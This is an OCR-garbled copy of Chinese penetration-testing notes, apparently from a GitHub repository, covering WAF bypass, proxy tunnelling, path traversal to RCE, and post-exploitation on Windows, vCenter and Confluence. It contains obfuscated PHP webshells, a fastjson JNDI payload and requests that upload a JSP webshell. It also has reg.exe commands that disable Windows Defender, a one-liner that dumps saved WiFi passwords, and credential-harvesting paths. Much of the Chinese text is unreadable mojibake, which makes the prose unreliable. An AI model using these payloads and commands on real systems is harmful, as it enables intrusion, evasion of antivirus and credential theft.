Notes List

TR -BREE RN -hosthitiz

"ERE" WEE

FEIEFH A Bypass

fastjson bypass EWAF

AW - (reGeorg+Proxifier+Win)
AW -{LIE (reGeorg+proxychains+Linux))
M- (ssocks kAR IE))

TR -Druid K&K —RCE
R-EEXHTH-RCE
pocsuite3fXIE{EH

T - F IR IR -2 R AT 5]
"SQUIEAN" WEHE

"HMIER" KEE

"Java SSRF" KiH
E2-REELE(BO<L>EEXH TH-RCE)
$Tm-ThinkPHP 5.0.X(debugi&Ez{+Z=#14H)
A - CMD3REXRD P

AR - FEERE Windows Defender
IR -XHT#-mlocate.db

I - CMDREXWIF 1283

IR - DMZ X 53A%

MM -PowerShelli < H LR

M - E AL Z WK EH

AR - AL A"

R - B5 15

1= -Confluence RCEFIA
TR - T H- . netifiR

AM-vSphere & vCenterfGF)ARE
B & - RFEERET

AW -CitrixME5ERBE

7= -Confluence/5F A B

B -XTEIRFCASEHNLEYS
EE-nHER THNEE
ZRE-K8StHR TS E

= SN EE - FoFadREX AR ER (4R ED


https://github.com/pen4uin/Pentest_Notes/blob/main/README.md#%E9%9A%90%E8%97%8F%E8%B5%84%E4%BA%A7%E6%8E%A2%E6%B5%8B-host%E7%A2%B0%E6%92%9E
https://github.com/pen4uin/Pentest_Notes/blob/main/README.md#%E7%99%BB%E5%BD%95%E6%A1%86-%E6%94%BB%E5%87%BB%E9%9D%A2
https://github.com/pen4uin/Pentest_Notes/blob/main/README.md#%E5%AE%9D%E5%A1%94%E9%98%B2%E7%81%AB%E5%A2%99-bypass
https://github.com/pen4uin/Pentest_Notes/blob/main/README.md#fastjson-bypass-%E6%9F%90waf
https://github.com/pen4uin/Pentest_Notes/blob/main/README.md#%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F-%E4%BB%A3%E7%90%86regeorgproxifierwin
https://github.com/pen4uin/Pentest_Notes/blob/main/README.md#%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F-%E4%BB%A3%E7%90%86regeorgproxychainslinux
https://github.com/pen4uin/Pentest_Notes/blob/main/README.md#%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F-%E4%BB%A3%E7%90%86regeorgproxychainslinux
https://github.com/pen4uin/Pentest_Notes/blob/main/README.md#druid%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE-rce
https://github.com/pen4uin/Pentest_Notes/blob/main/README.md#%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD-rce
https://github.com/pen4uin/Pentest_Notes/blob/main/README.md#pocsuite3%E4%BB%A3%E7%90%86%E9%A3%9F%E7%94%A8
https://github.com/pen4uin/Pentest_Notes/blob/main/README.md#%E5%AD%90%E5%9F%9F%E5%90%8D%E7%88%86%E7%A0%B4-%E6%B3%9B%E8%A7%A3%E6%9E%90%E9%97%AE%E9%A2%98
https://github.com/pen4uin/Pentest_Notes/blob/main/README.md#sql%E6%B3%A8%E5%85%A5%E6%94%BB%E5%87%BB%E9%9D%A2
https://github.com/pen4uin/Pentest_Notes/blob/main/README.md#%E6%96%87%E4%BB%B6%E5%88%A0%E9%99%A4%E6%94%BB%E5%87%BB%E9%9D%A2
https://github.com/pen4uin/Pentest_Notes/blob/main/README.md#java-ssrf%E6%94%BB%E5%87%BB%E9%9D%A2
https://github.com/pen4uin/Pentest_Notes/blob/main/README.md#%E9%BB%91%E7%9B%92-%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98%E5%BC%B1%E5%8F%A3%E4%BB%A4-%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD-rce
https://github.com/pen4uin/Pentest_Notes#thinkphp-50xdebug%E6%A8%A1%E5%BC%8F%E7%A9%BA%E6%95%B0%E7%BB%84
https://github.com/pen4uin/Pentest_Notes#%E5%86%85%E7%BD%91-cmd%E8%8E%B7%E5%8F%96rdp%E7%AB%AF%E5%8F%A3
https://github.com/pen4uin/Pentest_Notes/blob/main/README.md#%E5%86%85%E7%BD%91-%E8%A7%84%E9%81%BF%E6%9D%80%E8%BD%AF-windows-defender
https://github.com/pen4uin/Pentest_Notes/blob/main/README.md#%E6%89%93%E7%82%B9-%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86-mlocatedb
https://github.com/pen4uin/Pentest_Notes/blob/main/README.md#%E5%86%85%E7%BD%91-cmd%E8%8E%B7%E5%8F%96wifi%E5%AF%86%E7%A0%81
https://github.com/pen4uin/Pentest_Notes/blob/main/README.md#%E5%86%85%E7%BD%91-dmz%E5%8C%BA%E7%AA%81%E7%A0%B4
https://github.com/pen4uin/Pentest_Notes/blob/main/README.md#%E5%86%85%E7%BD%91-powershell%E5%91%BD%E4%BB%A4%E5%8E%86%E5%8F%B2%E8%AE%B0%E5%BD%95
https://github.com/pen4uin/Pentest_Notes/blob/main/README.md#%E5%86%85%E7%BD%91-%E5%AE%9A%E4%BD%8D%E5%A4%9A%E7%BD%91%E5%8D%A1%E4%B8%BB%E6%9C%BAoxid-resolver
https://github.com/pen4uin/Pentest_Notes/
https://github.com/pen4uin/Pentest_Notes/
https://github.com/pen4uin/Pentest_Notes/blob/main/README.md#%E6%89%93%E7%82%B9-confluence-rce%E5%88%A9%E7%94%A8
https://github.com/pen4uin/Pentest_Notes/blob/main/README.md#%E6%89%93%E7%82%B9-%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD-net%E7%8E%AF%E5%A2%83
https://github.com/pen4uin/Pentest_Notes/blob/main/README.md#%E5%86%85%E7%BD%91-vsphere--vcenter%E7%9A%84%E5%90%8E%E5%88%A9%E7%94%A8%E5%A7%BF%E5%8A%BF
https://github.com/pen4uin/Pentest_Notes/blob/main/README.md#%E9%92%93%E9%B1%BC-%E9%82%AE%E7%AE%B1%E6%8E%A2%E9%92%88
https://github.com/pen4uin/Pentest_Notes/blob/main/README.md#%E5%86%85%E7%BD%91-Citrix%E7%9A%84%E5%90%8E%E6%B8%97%E9%80%8F%E6%80%9D%E8%B7%AF
https://github.com/pen4uin/Pentest_Notes/blob/main/README.md#%E6%89%93%E7%82%B9-Confluence%E5%90%8E%E5%88%A9%E7%94%A8%E6%80%9D%E8%B7%AF
https://github.com/pen4uin/Pentest_Notes/blob/main/README.md#%E5%9F%BA%E5%BB%BA-%E5%85%B3%E4%BA%8E%E5%AD%A6%E4%B9%A0RFC%E8%A7%84%E8%8C%83%E7%9A%84%E5%BF%85%E8%A6%81%E6%80%A7
https://github.com/pen4uin/Pentest_Notes/blob/main/README.md#%E5%9F%BA%E5%BB%BA-%E8%B4%9F%E8%BD%BD%E5%9D%87%E8%A1%A1%E5%9C%BA%E6%99%AF%E4%B8%8B%E7%9A%84%E6%B8%97%E9%80%8F
https://github.com/pen4uin/Pentest_Notes/blob/main/README.md#%E4%BA%91%E5%AE%89%E5%85%A8-k8s%E5%9C%BA%E6%99%AF%E4%B8%8B%E7%9A%84%E6%B8%97%E9%80%8F
https://github.com/pen4uin/Pentest_Notes/blob/main/README.md#%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86-FoFa%E8%8E%B7%E5%8F%96%E9%97%AD%E6%BA%90%E8%BD%AF%E4%BB%B6%E6%BA%90%E7%A0%81

e H TR-XMHEAN—-RCE MR

o E HM-Microsoft ATA &

o EA 3T/ -SQLi+5=iu4XSS—RCE

o E ITH-XETF&/iEE-mysql ibdatal
« E AM-vCenterfA-FREXESXINKS 215

R &5 7= £330 - hos thit1E
stepl: EEFIHAZ

step2: BEIP (BARERHLHENIP)
step3: DAIP+E BRI H#THLE

Bix:

://github.com/fofapro/Hosts_scan
: //github.com/shmilylty/0OneForAll
://fofa.so/

://site.ip138.com/
://ipchaxun.com/

://securitytrails.com/list/apex_domain/ # g%

https://www.cnblogs.com/Rain99-/p/13756032.html
https://xz.aliyun.com/t/9590
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NiEEE

SEIOIRIR

apt install nginx

/usr/sbin/nginx

/etc/nginx/nginx.conf

SEERERE ()

o RfF

 BREIIPIAIE)
Xftnginx.confEEBUT

http {
T

# Virtual Host Configs
HH
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include /etc/nginx/conf.d/*.conf;

# include /etc/nginx/sites-enabled/*;
# PREIIPIAE)
server {
listen 80 default;
server_name _;
return 403;
+
server {
listen 80;
server_name nginx.lab.com;
location / {
proxy_pass http://10.10.10.12:8000;
index index.html index.htm index.jsp;

EMBR
ST EFfR

o IPiAa)
& > C A Notsecure | 10.10.10.12 #w O ’8&

403 Forbidden

nginx/1.10.3 (Ubuntu)

o BRI

Windows

# {824 hosts
notepad %windir%\system32\drivers\etc\hosts
# RIMATHEXRR

10.10.10.12 nginx.lab.com




& > C A Notsecure | nginxlab.com/flag.txt

flag{penduin_lab}

{#FHBurpsuiteEM

Request

Pretty IGEVVM Hex \n =
GET HTTP/1.1

[Rose: 10 10-1077]

3 Pragma: no-cache

4 Cache-Control: no-cache

5 DNT: 1L

6 Upgrade-Insecure-Requests: 1

7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x&4)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71
Safari/537.3€

2 Accept:
text/html, application/xhtml+xml, application/xml;¢=0.9, image/avi
£, image/webp, image/apng, */ *;q=0.8, application/signed-exchange;v
=bh3;q=0.9

9 Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9, zh-CN;g=0.8, zh;¢=0.7

Connection: close

Request

Pretty lEEIVM Hex \n = /

1 GET / HTTP/1.1

Host: nginx.lab.com
Tagma: no-cache

Cache-Control: no-cache

DNT: 1

6 Upgrade-Insecure-Requests: 1

7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x&4)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71
Safari/537.3€

2 Accept:
text/html, application/xhtml+xml, application/xml;q=0.9, image/avi
£, image/webp, image/apng, */*;¢=0.8, application/signed-exchange;v
=b3;q=0.9

o Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;=0.9,zh-CN;¢=0.8, zh;q=0.7

Connection: close

oW
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"ERIE" WEE
. APERE

e FO%

e 350<

o BERINERT
o RIWAE

o BEFRIERAET

Response

Pretty Raw Hex \n =

403 Forbidden

nginx/1.10.3 (Ubuntu)

Response

pretty Raw Hex [Nl » =

Directory listing for /

o flag.txt




o FEEWIBLST (SIRK)
o BIERIE (EW)

o HBFERUE (EHY)

o BBIAXIER

o SQUFEAN (FHHEED)
- FERAFPEBEER
o BREH

. SRMEREIME

o EZRNAE (shiro)
e XSS

o ISt

FI&B5 XHE Bypass

» £575x0 $_COOKIE

o mIESIRELN

3E baseé4 K (IFHN T XEF ‘basebs’)
<> C 0 A& https:/, fimage/uploads/1620817952291.php .. ﬁ *- @ C?m ‘, —

AHSERERETRE L, AteEsR. SEEE.

BEkEHASEEN, DHRPRSETBHER!

o aefRE -
R @ ODFEE Dess OFE Nms (IsmmsE Qe Oor B#e W Hesis B oERs 0: [ - X
Encryption v Encoding~ SQL~ XSS~ LFI~ XXE~ Other~ SRIEARS IR RR HackBar v2
g Load URL https./ fuploads/1620817952291 php
g Spit URL
Execute
2 =xe Postdata [[] Referer [J] User Agent £ Cookles Clear Al
ADD T

x=WTBkb2QyRINOVZF pZVakd1QzYZIQUTO9

C 1.2,3.4,56,7.8.9.10, 11,12, 13, 14, 15, 16, 17, 18=array23, 19, 20, 59=assert. 72=, 91=@eval(baseb4_decode(baseb4_decode(baseb4_decode($S_REQUES

38 url4fE I



<« C 9 & ny 1620817952291 DN he B P
PIEEEMESEIREL, ABtea¥aE, SEEE..
F @Hasx O=ZE Deys » 01 [0« X 123

PHP Version 5.6.40

@ Load URL hitps.

m uploads/1620817952291 php
§ SpitUR
& st
System
Ex
Post data Referer User Agent
i:i A L Referer L] ae Build Date

ADD Cookies Clear A

Configure Command

Server API

c 12 4.5,6,7,8,9/10:11712,13/ 14,15/ 16,171 Virtual Directory Support

Configuration File (php.ini) Path
Loaded Configuration File

Scan this dir for additional .ini files

Additional .ini files parsed (none)
MEF > (1S

demol:

<?php

$p=$_COOKIE; (count($p)=238&in_array(gettype($p).count($p),$p))>?
(($p[591=$p[59].$p[72]1)8&($p[911=$p[591($p[91]1))8&($p=$p[911($p[90], $pl
($p[3211)))8&$p()) :$p;

2>

demo?2:

<?php

$poc = ;

$poc_1 = explode( , $poc);

$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5]1;
$poc_2(urldecode(urldecode (urldecode ($_REQUEST[x]1))));

?>

fastjson bypass FWAF

demo

{{"@type":"java.net.URL","val":"http://.dnslog.cn"}:0




.

SERNH IR eI RERI MISIS TS B, EKEE <5 Safeline [BET.

bypass

{"@type":\b"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1:9999", "auto

Commit":true}}

A EIE - (reGeorg+Proxifier+iiin)

# reGeorg
https://github.com/sensepost/reGeorg

# Proxifier
https://pc.qq.com/detail/13/detail_10593.html

FENNStunne X, WEEIF

Georg says, 'All seems fine'

SRIGattack-pc 1T

python2 reGeorgSocksProxy.py -u http:// /tunnel.nosocket.php -p

proxifierfc BRI T

e 127.0.0.1:8888

e socksbh



AM;5iE - (reGeorg+proxychains+Linux)

# reGeorg
https://github.com/sensepost/reGeorg

# Proxifier
https://pc.qq.com/detail/13/detail_10593.html

HEX N tunne LS, EEDNA

Georg says, 'All seems fine'

IEattack-pc H4T

python2 reGeorgSocksProxy.py -u http://192.168.10.211/tunnel.nosocket.php -p 4561

proxychainsft & :

e vim /etc/proxychains.conf

demo: {FMAproxychains{{IBinfE& Fwindows

proxychains rdesktop -g 1440x900 172.17.17.7:3389 //-deEREREEAMD PR




A5 E -8 (ssocks R [@M{LIE)

https://sourceforge.net/projects/ssocks/

2. https://apt404.github.io/2016/09/12/ssocks/

DruidR#Z ikl =>RCE
o BHFPA¥E /druid/index.html
o {(EEtEE Session & URI(FE)

o {hiEsessionHEANER, KU LER

POST /index HTTP/1.1

Host:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winb4; x64; rv:87.0) Gecko/20100101
Firefox/87.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: zh-CN,zh;qg=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest

Content-Length: O

Origin:

Referer:

Cookie: JSESSIONID=589A43FOFAXXxxXx2A4403C143A77A51

o SR RIlAjSIIESLIER XX H L&

EFEXETEH DRCE
o RMINTHETEHIM S

GET /download?module=&method=Download&name=test.zip&filepath=doc/test.zip HTTP/1.1
Host: 1.1.1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winb4; x64)

Accept: text/html,application/xhtml+xml,application/xml

Accept-Encoding: gzip, deflate

o burpi&, #ApostiERERINAI FRERXH

POST /download HTTP/1.1

Host: 1.1.1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winb4; x64)
Accept: text/html,application/xhtml+xml,application/xml
Accept-Encoding: gzip, deflate

module=&method=Download&name=test.zip&filepath=.. /webapps/WEB-INF/web.xml

o ENABXHFIMrclassXHRIUE


https://apt404.github.io/2016/09/12/ssocks/

POST /download HTTP/1.1

Host: 1.1.1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winb4; x64)
Accept: text/html,application/xhtml+xml,application/xml

Accept-Encoding: gzip, deflate

module=&method=Download&name=test.zip&filepath=../logs/catalina.2021-xx-xx.log

o T#iclassXpiTEIt, 7£/downloadi A THIservietZfE EEX A EF SHFRIRIE
o BRLE-TEXMHEwebHR

POST /download HTTP/1.1

Host: 1.1.1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64)
Accept: text/html,application/xhtml+xml,application/xml
Accept-Encoding: gzip, deflate

module=&method=upload&txtFile_Name=x.jsp&home=/&filepath=.. /webapps/

o EIINMHAANwebshell

POST /download HTTP/1.1

Host: 1.1.1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64)
Accept: text/html,application/xhtml+xml,application/xml
Accept-Encoding: gzip, deflate

module=&method=updateContent&home=/&filepath=.. /webapps/x.jsp&content=xxxxxx

o RUINRIEMLZIDFRHNAN

pocsuite3fCIERH

python i. pocs\rce.py ://127.0.0.1/ socks5://1.2.3.4:5678

python i. pocs\rce.py ://127.0.0.1/ socks4://1.2.3.4:5678
python i. pocs\rce.py ://127.0.0.1/ http://1.2.3.4:5678
python i. pocs\rce.py ://127.0.0.1/ https://1.2.3.4:5678

proxier:



Proxification Rule

Name: IpocExp ] Enabled
Applications
pyth".exe|
Example: iexplore.exe; "C:\some app.exe”; fire*.exe; *.bin Browse...
Target hosts
Any

Example: 127.0.0.1; *.example.com; 192.168.1.%; 10.1.0.0-10.5.255.255

Target ports
Any

Example: 80; 8000-8000; 3128

FIE BRI - Z TR =R

0.2 MR

JRIE:
M RBECRT () BATE T RA MBS R B RIE — N IPHbiE

241
HAERAgithub.com, &EZM@ITE, FiBEIZEE T Figaaa. github.com, bbb.aaa.github.com#BE AR
Fgithub.comfBEHIipthit,

1.0neForAll:

BRI— TR AH A FERNE, BTREERFTESFEIZEN, BEEZBRNT, BRI TURRBEIA LRSI EAR
FEl, FEREWRNIPMTTLCE TR, BRASSNIPHN HIUREEHATFIR, WIPERBHNKELR, *
[EITIPRRELNG, KECNFHPNES—THEREEEWNHZATHERK, RAEREIPERBEHITIR.

2.SubdomainBrute

Bigd10 Mg RiEmE—IP, NIERMANEMIEEIZIPAEZRKEER.

3 . E ﬁﬁl@\ﬁ%'TTL%%%

EMXEL DNS H, ZRETCRRY TTL SEREEN, MRFEHBZICHEAR, B TTL FE, BXFICRANREERZE

ZRRITIER

2E: http://sh31l.me/


http://sh3ll.me/

SQLIEAKEHE

o HIRMER HiFE/HIEEF o MUHTHNEER
o FIE session/HEIBE — SMNRZAND (0A/HEFE/VPN)
e RCE
o mssql xp_cmdshell
o mysql udf
e Webshell
o mysql
o mssql
o oracle
e SSRF
o mssql
o oracle
o IR
o oracle
o EHE(NTLM Hash)
o Windows & UNC

X IR & E

fifsinstall. LockSENELR, HMRCE

o /sys/install.lock VAuditDemo
MR R LEEXHSHER, #HMRCE
o my.php RZHE
MIBRIRRRIC M, BEZRIFE (XM LE/SQLLIIENTE), #HMRCE
o /inc/auth.inc.php @iA0A
MRS ZEREX Y, SHKSBRENLE, EMRGSEEANR
o /WEB-INF/resources/privilege.xml MRERIBFRZ S (FineReport)

Java SSRFINTHE

o FMAfiletMNERXHIRE

o FAhttpthiXinO/ARSIRM

o FUAhttpGATT ntlm relay

o HEredisHEAMARS Mifirce (weblogic)



RE-RREHE (GO >EEXMGTHRCE)

e Tip: fofaP#z, Mizip 1000+E0H]

stepl

o EEFRNTEFM/AFFM (3502, FKFEH)
o KRIEASO<-admin/admin

=

admin

~

step2

o BFREAHMIAINGES, burpilEURE
o ERUSEN: ?xmlPath=

o #yiEpayload

.action?xmlPath=../../conf/tomcat-users.xml

.action?xmlPath=../.. /webapps/examples/WEB-INF/web.xml

o ZNMREFEARNHIEEFRR

Hex \n = Pref Raw Hex \n
[ Rav |

Connection: close

& Connection: close
Content-Type: application/x-www-form-urlencoded Content-Length: 954
Content-Length: 35
11 <tomcat-users>
xulPath=../../conf/tomcat-users.xul .-

13 WOTE: By default, no user is included in the “manager-gui" role required
4 to operate the “/manager/html" web application. If you wish to use this app,
you must define such a user - the username and password are arbitrary.
a..
NOTE: The sample user and role entries beloy are wrapped in a comment
and thus are ignored when reading this file. Do not forget to remove
<l.. ..> that surrounds them.
a..
<role rolename="tomcat"/>
<role rolename="role1"/>

user username="tomcat" password="tomcat" roles="tomcat"
user username="both" password="tomcat" roles="tomcat,role1”,
user username="role1" password="tomcat" roles="role1",

step3

o [EfburpIRIERS

e cookie &I Z#1:rememberMe
SWASEEXEERTREF A
o web.xml — shiro.ini(%&M)

o tomcat-users.xml — BHISFIAERK (LK)



s REEZRFAMANFIIRE:)

command | whoari | (R AT R
FAREFEDS K882 Tomcat - BR Havicondemoico BEG | pass f}'l,?‘}f})\

ThinkPHP 5.0.X(DebugiEz+Z5%14H)

« HEBWEAT debug R, SRIMNEREEZHAFRERSIERFNMEFERESRES by xxxeyd

username=admin&password[]=&verifycode=

A - CMD3X BXRD Pl [

Terminal T™H{T

REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp
/v PortNumber

Mia) iz

PortNumber REG_DWORD 0xd3d

rer‘\WinStations\RDP-Tcp /v PortNumber

RS



O 2 O 8 O 108F @ 163 O 32i# O 361 O 58183 O 624 |

d3d sl
bl SR
2 110100111101
8 6475
10 3389

A - FEERE Windows Defender

reg.exe add /v
DisableAntiSpyware /t REG_DWORD /d /T

reg.exe add /v DisableAntiVirus
/t REG_DWORD /d /T

reg.exe add /v
MpEnablePus /t REG_DWORD /d 0 /f

reg.exe add

/v DisableBehaviorMonitoring /t REG_DWORD /d

reg.exe add

/v DisableIOAVProtection /t REG_DWORD /d /T

reg.exe add

/v DisableOnAccessProtection /t REG_DWORD /d 1 /f

reg.exe add

/v DisableRealtimeMonitoring /t REG_DWORD /d /T

reg.exe add

/v DisableRoutinelyTakingAction /t REG_DWORD /d /f

reg.exe add

/v DisableScanOnRealtimeEnable /t REG_DWORD /d /f

reg.exe add

DisableEnhancedNotifications /t REG_DWORD /d 1 /f

reg.exe add

DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f

reg.exe add

SpynetReporting /t REG_DWORD /d 0 /f

reg.exe add

SubmitSamplesConsent /t REG_DWORD /d 2 /f

reg.exe delete




R -XETEH/(ERBE nlocate.db

mlocate.db@2linux TH—MEUBES Y, ATFEKlocate@m LRS!, MBS FTHENR T B XHNERZ.
XHE

| /var/lib/mlocate/mlocate.db

523 Naa< — locate

AZFERREMHESREEZETEN

locate web.xml

neo@neo-web:~S$ locate web.xml

/home /neo/vulhub/base/jboss/as-4.
/home/neo/vulhub/base/jboss/as-4.
/home /neo/vulhub/base/jboss/as-4.
/home /neo/vulhub/base/jboss/as-4.
/home/neo/vulhub/base/jboss/as-6.
/home /neo/vulhub/base/jboss/as-6.
/home/neo/vulhub/base/jboss/as-6.
/home /neo/vulhub/base/jboss/as-6.

.5/jmx-console/jboss-web.xml
.5/jmx-console/web.xml
.5/web-console/jboss-web.xml
.5/web-console/web.xml
.0/jmx-console. jboss-web.xml
.0/jmx-console.web.xml
.0/web-console. jboss-web.xml
.0/web-console.web.xml

eSO 0

/home /neo/vulhub/base/mojarra/2
/home /neo/vulhub/base/struts2/2
/home/neo/vulhub/base/struts2/2
/home /neo/vulhub/base/struts2/2
/home/neo/vulhub/base/struts2/2
/home /neo/vulhub/jetty/CVE-2021
/home/neo/vulhub/jetty/CVE-2021
/home /neo/vulhub/jetty/CVE-2021

.1.28/src/main/webapp/WEB-INF/web.
.3.28/src/main/webapp/WEB-INF/web.
.3.30/src/main/webapp/WEB-INF/web.
.5.16/src/main/webapp/WEB-INF/web.
.5.25/src/main/webapp/WEB-INF/web.

-28164/src/WEB-INF/web.xml
-28169/src/WEB-INF/web.xml
-34429/src/WEB-INF/web.xml

Jopt/atlassian/confluence/conf/web.xml
Jopt/atlassian/confluence/confluence/WEB-INF/web.xml
Jopt/atlassian/confluence/synchrony-proxy/WEB-INF/web.xml

Jusr/share/mime/application/vnd

A - CMDIREXWIFIZ5 45

— by chengmo

for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j

findstr -i -v echo | netsh wlan

.0asis.opendocument.text-web.xml

show profiles %j key=clear



CAWINDOWS\system32\cmd.exe
|

: WPAZ-Personal

R
[

P

A - DMZ X SR
KRB e ERe@m AR E
o WWKEAMN
o HEERIP: FIREREANMIGY
o WMEDE: BIEERSSHRAIEEAN
o https://github.com/blackarrowsec/mssqlproxy
o VPN: FRINE
o H&: NE AN FARBERZEN LK)

A -PowerShellas £HEICE

— ELinux T .bash_history

XHE

%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_hist
ory.txt


https://github.com/blackarrowsec/mssqlproxy

Offensive Lab > AppData > Roaming > Microsoft > Windows > PowerShell > PSReadLine

~

Name Date modified Type Size

D ConsoleHost_history.txt 2021/10/4 17:35 Text Document 29KB

jﬂ ConsoleHost_history.txt - Notepad

File Edit Format View Help

mysql -uroot -p

mysql -uroot -ptoor

whoami

mysgl -uroot -plgaz@WSX

cmder

composer require phpmailer/phpmailer 6.4.1
mysql -uroot -p

mysgl -uroot -proot

AR

o TR EEXMHTH+WindowsRE, FIMEIH— Tz, BIFEMHR

c AN: ERIKE

o BN HRENERY, EERCMD—EULAKERHK IR, PowerShellNNEMEXZRAEITH, (EZHHHIEM
TR

> Offensive Lab > AppData > Roaming > Microsoft > Windows > PowerShell > PSReadline

A

B

aF

QS Name Date modified Type Size
= ConsoleHost_history.txt 2021/10/4 17:35 Text Document 29KB
"1] ConsoleHost_history.txt - Notepad

File Edit Format View Help

python .\confluence_ognl_injection.py -m verify -u https:;
python .\confluence_ognl_injection.py -m verify -f successc
python .\confluence_ognl_injection.py -m verify -u https:;

python .\confluence_ognl_injection.py -u https:// -m attack
python .\confluence_ognl_injection.py -u https:// -m shell
python .\confluence_ognl_injection.py -u https:// -m shell
python .\confluence_ognl_injection.py -u https:// -m verify
python .\confluence_ognl_injection.py -u https:// -m verify -f success.txt

AR -ENMZM-EEH (0XID Resolver)
IA8

e https://github.com/RvnOxsy/0XID-Find/
FH

o BfREMN: FK135iKO

a4k

o ZRIFEHDM, TJLMRIEOXID-FindBEMIESEM—RERA.


https://github.com/Rvn0xsy/OXID-Find/

AR - EH" AR
T

A - F5 13
S

$T 25 -Confluence RCEFIF

ITHARY LR S &K

0. Confluence RCE(CVE-2021-26084), 5 Awebshell, FKEXARSSZ3ANFR

1. REBIBERE XX, REVEIEENR

2. PIHAERINERIMWIKI, JiraHFiimnFEADKSER, BUHEHLAIEESLDAPER
3. frcwd_directory_attributeXR#IXZILDAPEEEZE, 231G

4. BEZEBRBURBEEFES (6itlab) AYizHIX

IR -XETE-.netifiz

0x01 RIS
NE R E ISR AT, LT Fweb. config, BHFFRHE. netiiSEBLET.
BIERA B PR B PR A B IR RN . AT ISt TEEIB ST —ike e

0x02 ¥z =l
EXXBATIAR I — A XX T H0ThEES

o /tp/DownLoadFile.aspx?filename=

BEEHTE
[w ﬂ Elements Network  Console  Sources Memory Performance  Security Application Lighthouse  Adblock Plus
® © V¥ Q | 0Preservelog | [J Disable cache Nothrotting ¥ % | # ¥
Filter (J Invert [J Hide data URLs All = Fetch/XHR JS CSS Img Media Font Doc WS Wasm Manifest Other [J Has blockec
500 ms 1000 ms 1500 ms 2000 ms 2500 ms 3000 ms 3500 ms 4000 ms 4500 ms 5000 ms 5500 ms 6000 ms 65001
Name Status Type -
[E ShowNotice.aspx?NoticelD=23 200 document
[E DownlLoadFile.aspx?filename= 200 document
— titletop.gif 200 gif
" CheckCode.aspx 200 gif

TRABEEER



?filename=DownLoadFile.aspx
?filename=./DownLoadFile.aspx

?filename=./../DownLoadFile.aspx

=3 =1>\
e ?filename=./../DownLoadFile.aspx

RIN T2

File Edit Format View Help
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="DownlLoadFile.aspx.cs" Inherits=" .DownlLoadFile" %>

<!DOCTYPE html>

0x03 FIRE

1. T#web.config, FREVEUREEERDE AR ERD MG 2244

File Edit Format View Help
</configSections>

<appSettings>
<add key="ConnString"” value="Server=(local); DataBase= ; uid=sa; pwd= "/>

<!--EFEsystemE FAIFERTEEZ, 1IBAERT FTweb. config L FFAERM E F-->
<add key="systemfolder" value="system_dntb/" />

WE, "IIRENEIEIE E B
2.0BHATE .aspx, #/FREInheritsAfSIBXAHRIIE, #EEETE .d1l, AEdnSpyREFEHITENA
Tl XETEIRE



DownlLoadFile

System.Web.UI;
System.Web.UI.HtmlControls;

sender, EventArgs

text =
text2 =
(text2))

le(text));

- teFile(fileInfo.
Flush();

AWM -vSphere & vCenterfIEFIAELR

- HEEICRIE

XFvcenterHAEEREELRIRBURSS[RNIFR T

* M vCenter FfpHPIEE IdP IEBHMWESEERASNHERES (SEEEM)
o TRt

o vcenter_saml_login
data.mdbf{ii&:

e Linux:

/storage/db/vmware-vmdir/data.mdb

e Windows

C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb

SEMIRR


https://github.com/horizon3ai/vcenter_saml_login

~s\admin\Desktop\vcenter_saml_login-main> python .\vcenter_saml_login.py Q. .\data.mdb
1ly extracted the IdP cer ate
fully extracted trusted ce cate 1
fully extracted trusted cate 2
ning hostname from vCenter SSL certificate

request with 10.

r with the signed SAML request

PS
&
[O
[
[
[
&
[
&
&
|
[
PS

~ sami_l0gin-main>

SRiEihlEhttps: //10.10.10.1/vi, 7 /ui BRE TR LE—FRF1EMNcookiel]

I easE. Dxrmerna O Kt Dasae O sses

vm vSphere Client

LINEI=)=]

o AE I vcenterfYIRIBINEEIRENE MALAVIRER, AEE T AFENERNZSEdumpRiE, pth;

o thA[{EZIZAM, BIRE MBI, AGEEIPE, Ed&ZCMD.EXENOSK. exeBEROSK. exe, WHRANITARERE
SEHSYSTEMR PR SITE O, Attt 4 csfhfFhashdumpdMBVEIE, pthEl®, (by banlizl)

P& - IR FE B E

# by se7ensec.cn

FERETLNG, BERFETAE BlZEY, REEIMARBLESG, WRHANAMBIESRET

B, FETPLNES.

o BXX & |Mail-Probe HIFEREEEEERS

WITX_I CltP1XE’]’= ll..\E%

CitrixEItNAEESADEAE, MRBKER, BEWBEMEHREEMIFEERNNE,

